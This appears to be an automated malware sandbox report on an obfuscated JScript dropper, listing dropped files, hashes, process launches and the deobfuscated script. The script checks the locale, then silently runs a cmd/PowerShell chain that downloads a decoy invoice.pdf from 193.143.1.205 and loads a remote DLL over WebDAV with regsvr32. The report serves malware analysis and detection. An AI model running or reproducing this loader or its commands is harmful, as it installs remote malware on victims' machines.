Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18329), with CRLF line terminators
Entropy (8bit):	4.904196692600094
TrID:
File name:	74771923457277117.js
File size:	22'006 bytes
MD5:	b516bd1551f1afbf72bc31ecfe9a95c1
SHA1:	e8a21b483ee71527b163748d45bdfdf431d2190c
SHA256:	a29077f29e4ba2a36ee930fe6197d3bf562aabd4cb28585e64c908f04d830b40
SHA512:	b3ab16e6b04053bfe8f13987afe7da61273af71c5af808770dbec6913003a6c044e401c07707fa4ae36626410cf75358b81bd2b6b4eed7960cd4dbf3af79bbc8
SSDEEP:	384:IVlZSG0UbbbJbbbijxC7QPAqqoJ7N2LqBap02EuyhBaFbaT6gf8DpR/LmBUGXMa2:InZSGnbbbJbbbijxBMaLL+dyi2sq8NEw
TLSH:	26A23298CC96DE6F81FB43AC70D909DB535C420D0EE0167F1483A8650B4FDAB94F96BA
File Content Preview:	function egofaq(){ozrmuzb=[1031,3079,5127,4103,2055,3072];var fawbvjfun=this[zcebuz+mckzzsbaj+dmsaoifa+isvua+iaxkwohum+apptedlv+zbsyrpi+mtzizjhxp](this[iamuei+gcwrtw+ykbyxvwn+dmsaoifa+urvemjaql+zcebuz+mtzizjhxp][qilux+dmsaoifa+iaxkwohum+mckzzsbaj+mtzizjhx

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	13:27:02
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js"
Imagebase:	0x7ff7b95f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:27:03
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll
Imagebase:	0x7ff7cbe10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:27:03
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:27:03
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:27:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:27:07
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7cbe10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:27:07
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff706550000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:27:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:27:08
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:27:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1632,i,1859307735416579305,9552705907612513905,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function egofaq() {	egofaq() ➔ undefined
1	ozrmuzb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var fawbvjfun = this[zcebuz + mckzzsbaj + dmsaoifa + isvua + iaxkwohum + apptedlv + zbsyrpi + mtzizjhxp] ( this[iamuei + gcwrtw + ykbyxvwn + dmsaoifa + urvemjaql + zcebuz + mtzizjhxp][qilux + dmsaoifa + iaxkwohum + mckzzsbaj + mtzizjhxp + iaxkwohum + fgdjxltse + xspzsxl + zivegx + iaxkwohum + ykbyxvwn + mtzizjhxp] ( iamuei + gcwrtw + ykbyxvwn + dmsaoifa + urvemjaql + zcebuz + mtzizjhxp + nuywg + gcwrtw + eiupsmok + iaxkwohum + etxbpaagm + etxbpaagm ) [jyfdmrrfd + iaxkwohum + mrfmwh + jyfdmrrfd + iaxkwohum + mckzzsbaj + svrwjtu] ( xeaqz + ojxtrqmj + oedzxc + zwsozx + dldmykm + qilux + yjhaz + jyfdmrrfd + jyfdmrrfd + oedzxc + yyrfe + ovxxn + dldmykm + yjhaz + gcwrtw + oedzxc + jyfdmrrfd + xlrld + qilux + sschvxues + zbsyrpi + mtzizjhxp + dmsaoifa + sschvxues + etxbpaagm + vifbwlowp + pdjqvkuzg + mckzzsbaj + zbsyrpi + iaxkwohum + etxbpaagm + xlrld + apptedlv + zbsyrpi + mtzizjhxp + iaxkwohum + dmsaoifa + zbsyrpi + mckzzsbaj + mtzizjhxp + urvemjaql + sschvxues + zbsyrpi + mckzzsbaj + etxbpaagm + xlrld + ctvcyfu + sschvxues + ykbyxvwn + mckzzsbaj + etxbpaagm + iaxkwohum ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qrqjasr = 0 ; qrqjasr < ozrmuzb[etxbpaagm + iaxkwohum + zbsyrpi + mrfmwh + mtzizjhxp + eiupsmok] ; ++ qrqjasr )
4	{
5	if ( fawbvjfun == ozrmuzb[qrqjasr] )
6	{
7	fawbvjfun = true;
8	break ;
9	}
10	}
11	if ( fawbvjfun !== true )
12	this[iamuei + gcwrtw + ykbyxvwn + dmsaoifa + urvemjaql + zcebuz + mtzizjhxp][kwibdogp + nfija + urvemjaql + mtzizjhxp] ( );
13	this[iamuei + gcwrtw + ykbyxvwn + dmsaoifa + urvemjaql + zcebuz + mtzizjhxp][qilux + dmsaoifa + iaxkwohum + mckzzsbaj + mtzizjhxp + iaxkwohum + fgdjxltse + xspzsxl + zivegx + iaxkwohum + ykbyxvwn + mtzizjhxp] ( iamuei + gcwrtw + ykbyxvwn + dmsaoifa + urvemjaql + zcebuz + mtzizjhxp + nuywg + gcwrtw + eiupsmok + iaxkwohum + etxbpaagm + etxbpaagm ) [dmsaoifa + nfija + zbsyrpi] ( ykbyxvwn + yftdw + svrwjtu + vifbwlowp + kodhoyfx + ykbyxvwn + vifbwlowp + zcebuz + sschvxues + oyrhkymn + iaxkwohum + dmsaoifa + isvua + eiupsmok + iaxkwohum + etxbpaagm + etxbpaagm + nuywg + iaxkwohum + jdydxp + iaxkwohum + vifbwlowp + tmogtmv + qilux + sschvxues + yftdw + yftdw + mckzzsbaj + zbsyrpi + svrwjtu + vifbwlowp + zkbndr + apptedlv + zbsyrpi + mjmqmwkjj + sschvxues + vkbydoul + iaxkwohum + tmogtmv + iamuei + iaxkwohum + xspzsxl + jyfdmrrfd + iaxkwohum + ofpipghzu + nfija + iaxkwohum + isvua + mtzizjhxp + vifbwlowp + tmogtmv + fgdjxltse + nfija + mtzizjhxp + idtoub + urvemjaql + etxbpaagm + iaxkwohum + vifbwlowp + uiiumzd + mtzizjhxp + iaxkwohum + yftdw + zcebuz + uiiumzd + xlrld + urvemjaql + zbsyrpi + mjmqmwkjj + sschvxues + urvemjaql + ykbyxvwn + iaxkwohum + nuywg + zcebuz + svrwjtu + nbqhlzbf + vifbwlowp + eiupsmok + mtzizjhxp + mtzizjhxp + zcebuz + lozhq + kodhoyfx + kodhoyfx + cbqnsj + nfdnaltz + rwzea + nuywg + cbqnsj + qvyjjwwiv + rwzea + nuywg + cbqnsj + nuywg + gokqlwcmi + rzrccvpx + gqfrcfyh + kodhoyfx + urvemjaql + zbsyrpi + mjmqmwkjj + sschvxues + urvemjaql + ykbyxvwn + iaxkwohum + nuywg + zcebuz + eiupsmok + zcebuz + zkbndr + fekliy + fekliy + isvua + mtzizjhxp + mckzzsbaj + dmsaoifa + mtzizjhxp + vifbwlowp + uiiumzd + mtzizjhxp + iaxkwohum + yftdw + zcebuz + uiiumzd + xlrld + urvemjaql + zbsyrpi + mjmqmwkjj + sschvxues + urvemjaql + ykbyxvwn + iaxkwohum + nuywg + zcebuz + svrwjtu + nbqhlzbf + fekliy + fekliy + ykbyxvwn + yftdw + svrwjtu + vifbwlowp + kodhoyfx + ykbyxvwn + vifbwlowp + zbsyrpi + iaxkwohum + mtzizjhxp + vifbwlowp + nfija + isvua + iaxkwohum + vifbwlowp + xlrld + xlrld + cbqnsj + nfdnaltz + rwzea + nuywg + cbqnsj + qvyjjwwiv + rwzea + nuywg + cbqnsj + nuywg + gokqlwcmi + rzrccvpx + gqfrcfyh + rcenxnja + noqda + noqda + noqda + noqda + xlrld + svrwjtu + mckzzsbaj + mjmqmwkjj + oyrhkymn + oyrhkymn + oyrhkymn + dmsaoifa + sschvxues + sschvxues + mtzizjhxp + xlrld + fekliy + fekliy + ykbyxvwn + yftdw + svrwjtu + vifbwlowp + kodhoyfx + ykbyxvwn + vifbwlowp + dmsaoifa + iaxkwohum + mrfmwh + isvua + mjmqmwkjj + dmsaoifa + rwzea + gokqlwcmi + vifbwlowp + kodhoyfx + isvua + vifbwlowp + xlrld + xlrld + cbqnsj + nfdnaltz + rwzea + nuywg + cbqnsj + qvyjjwwiv + rwzea + nuywg + cbqnsj + nuywg + gokqlwcmi + rzrccvpx + gqfrcfyh + rcenxnja + noqda + noqda + noqda + noqda + xlrld + svrwjtu + mckzzsbaj + mjmqmwkjj + oyrhkymn + oyrhkymn + oyrhkymn + dmsaoifa + sschvxues + sschvxues + mtzizjhxp + xlrld + cbqnsj + gokqlwcmi + tftwwo + gqfrcfyh + rbmvra + cbqnsj + rwzea + gokqlwcmi + rwzea + rzrccvpx + gqfrcfyh + noqda + gokqlwcmi + cbqnsj + nuywg + svrwjtu + etxbpaagm + etxbpaagm, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll",0,false) ➔ 0
14	}
15	fekliy = "I";
16	fekliy = "l";
17	fekliy = "Y";
18	fekliy = "j";
19	fekliy = "f";
20	fekliy = "A";
21	fekliy = "H";
22	fekliy = "m";
23	fekliy = "z";
24	fekliy = "p";
25	fekliy = "o";
26	fekliy = "U";
27	fekliy = "L";
28	fekliy = "z";
29	fekliy = "T";
30	fekliy = "s";
31	fekliy = "e";
32	fekliy = "D";
33	fekliy = "g";
34	fekliy = "g";
35	fekliy = "Z";
36	fekliy = "a";
37	fekliy = "S";
38	fekliy = "Q";
39	fekliy = "h";
40	fekliy = "s";
41	fekliy = "U";
42	fekliy = "S";
43	fekliy = "j";
44	fekliy = "&";
45	lozhq = "R";
46	lozhq = "Q";
47	lozhq = "m";
48	lozhq = "k";
49	lozhq = "u";
50	lozhq = "K";
51	lozhq = "J";
52	lozhq = "U";
53	lozhq = "M";
54	lozhq = "i";
55	lozhq = "O";
56	lozhq = "Y";
57	lozhq = "F";
58	lozhq = "V";
59	lozhq = "D";
60	lozhq = "P";
61	lozhq = "X";
62	lozhq = "v";
63	lozhq = "R";
64	lozhq = "p";
65	lozhq = "F";
66	lozhq = "J";
67	lozhq = "Q";
68	lozhq = "e";
69	lozhq = "w";
70	lozhq = "o";
71	lozhq = "k";
72	lozhq = "V";
73	lozhq = "D";
74	lozhq = "s";
75	lozhq = "B";
76	lozhq = "O";
77	lozhq = "B";
78	lozhq = "v";
79	lozhq = "r";
80	lozhq = "C";
81	lozhq = "t";
82	lozhq = "t";
83	lozhq = "K";
84	lozhq = "n";
85	lozhq = "O";
86	lozhq = ":";
87	yyrfe = "Y";
88	yyrfe = "Q";
89	yyrfe = "g";
90	yyrfe = "Z";
91	yyrfe = "Z";
92	yyrfe = "o";
93	yyrfe = "p";
94	yyrfe = "k";
95	yyrfe = "g";
96	yyrfe = "L";
97	yyrfe = "s";
98	yyrfe = "d";
99	yyrfe = "n";
100	yyrfe = "w";
101	yyrfe = "C";
102	yyrfe = "c";
103	yyrfe = "W";
104	yyrfe = "D";
105	yyrfe = "W";
106	yyrfe = "r";
107	yyrfe = "j";
108	yyrfe = "e";
109	yyrfe = "d";
110	yyrfe = "N";
111	nuywg = "E";
112	nuywg = "w";
113	nuywg = "Q";
114	nuywg = "y";
115	nuywg = "y";
116	nuywg = "E";
117	nuywg = "S";
118	nuywg = "f";
119	nuywg = "o";
120	nuywg = "Y";
121	nuywg = "b";
122	nuywg = "g";
123	nuywg = "A";
124	nuywg = "T";
125	nuywg = "W";
126	nuywg = "i";
127	nuywg = "W";
128	nuywg = "I";
129	nuywg = "Y";
130	nuywg = "T";
131	nuywg = ".";
132	qvyjjwwiv = "k";
133	qvyjjwwiv = "Z";
134	qvyjjwwiv = "h";
135	qvyjjwwiv = "j";
136	qvyjjwwiv = "a";
137	qvyjjwwiv = "J";
138	qvyjjwwiv = "L";
139	qvyjjwwiv = "j";
140	qvyjjwwiv = "d";
141	qvyjjwwiv = "A";
142	qvyjjwwiv = "F";
143	qvyjjwwiv = "A";
144	qvyjjwwiv = "z";
145	qvyjjwwiv = "L";
146	qvyjjwwiv = "B";
147	qvyjjwwiv = "c";
148	qvyjjwwiv = "x";
149	qvyjjwwiv = "j";
150	qvyjjwwiv = "e";
151	qvyjjwwiv = "s";
152	qvyjjwwiv = "F";
153	qvyjjwwiv = "y";
154	qvyjjwwiv = "p";
155	qvyjjwwiv = "e";
156	qvyjjwwiv = "I";
157	qvyjjwwiv = "C";
158	qvyjjwwiv = "t";
159	qvyjjwwiv = "f";
160	qvyjjwwiv = "a";
161	qvyjjwwiv = "f";
162	qvyjjwwiv = "4";
163	mckzzsbaj = "h";
164	mckzzsbaj = "a";
165	ykbyxvwn = "k";
166	ykbyxvwn = "O";
167	ykbyxvwn = "L";
168	ykbyxvwn = "N";
169	ykbyxvwn = "i";
170	ykbyxvwn = "c";
171	ykbyxvwn = "Y";
172	ykbyxvwn = "c";
173	noqda = "t";
174	noqda = "c";
175	noqda = "Z";
176	noqda = "K";
177	noqda = "L";
178	noqda = "n";
179	noqda = "j";
180	noqda = "k";
181	noqda = "V";
182	noqda = "h";
183	noqda = "u";
184	noqda = "M";
185	noqda = "J";
186	noqda = "g";
187	noqda = "q";
188	noqda = "D";
189	noqda = "S";
190	noqda = "i";
191	noqda = "h";
192	noqda = "O";
193	noqda = "b";
194	noqda = "Q";
195	noqda = "W";
196	noqda = "E";
197	noqda = "Q";
198	noqda = "l";
199	noqda = "m";
200	noqda = "W";
201	noqda = "8";
202	gqfrcfyh = "R";
203	gqfrcfyh = "c";
204	gqfrcfyh = "V";
205	gqfrcfyh = "S";
206	gqfrcfyh = "U";
207	gqfrcfyh = "U";
208	gqfrcfyh = "K";
209	gqfrcfyh = "p";
210	gqfrcfyh = "R";
211	gqfrcfyh = "d";
212	gqfrcfyh = "A";
213	gqfrcfyh = "b";
214	gqfrcfyh = "U";
215	gqfrcfyh = "X";
216	gqfrcfyh = "E";
217	gqfrcfyh = "i";
218	gqfrcfyh = "A";
219	gqfrcfyh = "g";
220	gqfrcfyh = "I";
221	gqfrcfyh = "m";
222	gqfrcfyh = "x";
223	gqfrcfyh = "X";
224	gqfrcfyh = "E";
225	gqfrcfyh = "L";
226	gqfrcfyh = "r";
227	gqfrcfyh = "E";
228	gqfrcfyh = "Z";
229	gqfrcfyh = "e";
230	gqfrcfyh = "s";
231	gqfrcfyh = "f";
232	gqfrcfyh = "O";
233	gqfrcfyh = "J";
234	gqfrcfyh = "P";
235	gqfrcfyh = "h";
236	gqfrcfyh = "F";
237	gqfrcfyh = "b";
238	gqfrcfyh = "q";
239	gqfrcfyh = "5";
240	iamuei = "X";
241	iamuei = "O";
242	iamuei = "q";
243	iamuei = "v";
244	iamuei = "I";
245	iamuei = "s";
246	iamuei = "B";
247	iamuei = "u";
248	iamuei = "n";
249	iamuei = "e";
250	iamuei = "G";
251	iamuei = "x";
252	iamuei = "a";
253	iamuei = "h";
254	iamuei = "C";
255	iamuei = "a";
256	iamuei = "q";
257	iamuei = "O";
258	iamuei = "e";
259	iamuei = "X";
260	iamuei = "W";
261	iamuei = "g";
262	iamuei = "W";
263	iamuei = "Z";
264	iamuei = "W";
265	etxbpaagm = "k";
266	etxbpaagm = "H";
267	etxbpaagm = "R";
268	etxbpaagm = "R";
269	etxbpaagm = "K";
270	etxbpaagm = "b";
271	etxbpaagm = "S";
272	etxbpaagm = "f";
273	etxbpaagm = "W";
274	etxbpaagm = "R";
275	etxbpaagm = "W";
276	etxbpaagm = "C";
277	etxbpaagm = "k";
278	etxbpaagm = "n";
279	etxbpaagm = "n";
280	etxbpaagm = "A";
281	etxbpaagm = "w";
282	etxbpaagm = "r";
283	etxbpaagm = "S";
284	etxbpaagm = "d";
285	etxbpaagm = "W";
286	etxbpaagm = "l";
287	uiiumzd = "q";
288	uiiumzd = "m";
289	uiiumzd = "e";
290	uiiumzd = "D";
291	uiiumzd = "l";
292	uiiumzd = "m";
293	uiiumzd = "Q";
294	uiiumzd = "o";
295	uiiumzd = "L";
296	uiiumzd = "T";
297	uiiumzd = "i";
298	uiiumzd = "C";
299	uiiumzd = "U";
300	uiiumzd = "F";
301	uiiumzd = "J";
302	uiiumzd = "y";
303	uiiumzd = "a";
304	uiiumzd = "D";
305	uiiumzd = "z";
306	uiiumzd = "T";
307	uiiumzd = "F";
308	uiiumzd = "h";
309	uiiumzd = "V";
310	uiiumzd = "C";
311	uiiumzd = "h";
312	uiiumzd = "V";
313	uiiumzd = "f";
314	uiiumzd = "S";
315	uiiumzd = "s";
316	uiiumzd = "o";
317	uiiumzd = "K";
318	uiiumzd = "E";
319	uiiumzd = "c";
320	uiiumzd = "D";
321	uiiumzd = "m";
322	uiiumzd = "J";
323	uiiumzd = "N";
324	uiiumzd = "g";
325	uiiumzd = "H";
326	uiiumzd = "%";
327	zwsozx = "I";
328	zwsozx = "b";
329	zwsozx = "y";
330	zwsozx = "I";
331	zwsozx = "r";
332	zwsozx = "p";
333	zwsozx = "c";
334	zwsozx = "o";
335	zwsozx = "h";
336	zwsozx = "K";
337	zwsozx = "n";
338	zwsozx = "W";
339	zwsozx = "C";
340	zwsozx = "l";
341	zwsozx = "r";
342	zwsozx = "g";
343	zwsozx = "Z";
344	zwsozx = "M";
345	zwsozx = "v";
346	zwsozx = "X";
347	zwsozx = "Y";
348	apptedlv = "y";
349	apptedlv = "j";
350	apptedlv = "Z";
351	apptedlv = "Q";
352	apptedlv = "S";
353	apptedlv = "a";
354	apptedlv = "O";
355	apptedlv = "m";
356	apptedlv = "e";
357	apptedlv = "K";
358	apptedlv = "U";
359	apptedlv = "Q";
360	apptedlv = "G";
361	apptedlv = "Y";
362	apptedlv = "P";
363	apptedlv = "L";
364	apptedlv = "I";
365	rwzea = "C";
366	rwzea = "C";
367	rwzea = "u";
368	rwzea = "q";
369	rwzea = "A";
370	rwzea = "y";
371	rwzea = "G";
372	rwzea = "l";
373	rwzea = "v";
374	rwzea = "D";
375	rwzea = "W";
376	rwzea = "H";
377	rwzea = "r";
378	rwzea = "C";
379	rwzea = "z";
380	rwzea = "W";
381	rwzea = "K";
382	rwzea = "D";
383	rwzea = "C";
384	rwzea = "D";
385	rwzea = "G";
386	rwzea = "p";
387	rwzea = "S";
388	rwzea = "q";
389	rwzea = "F";
390	rwzea = "P";
391	rwzea = "h";
392	rwzea = "x";
393	rwzea = "d";
394	rwzea = "W";
395	rwzea = "3";
396	vkbydoul = "T";
397	vkbydoul = "J";
398	vkbydoul = "X";
399	vkbydoul = "Y";
400	vkbydoul = "P";
401	vkbydoul = "H";
402	vkbydoul = "j";
403	vkbydoul = "Q";
404	vkbydoul = "J";
405	vkbydoul = "y";
406	vkbydoul = "J";
407	vkbydoul = "c";
408	vkbydoul = "l";
409	vkbydoul = "j";
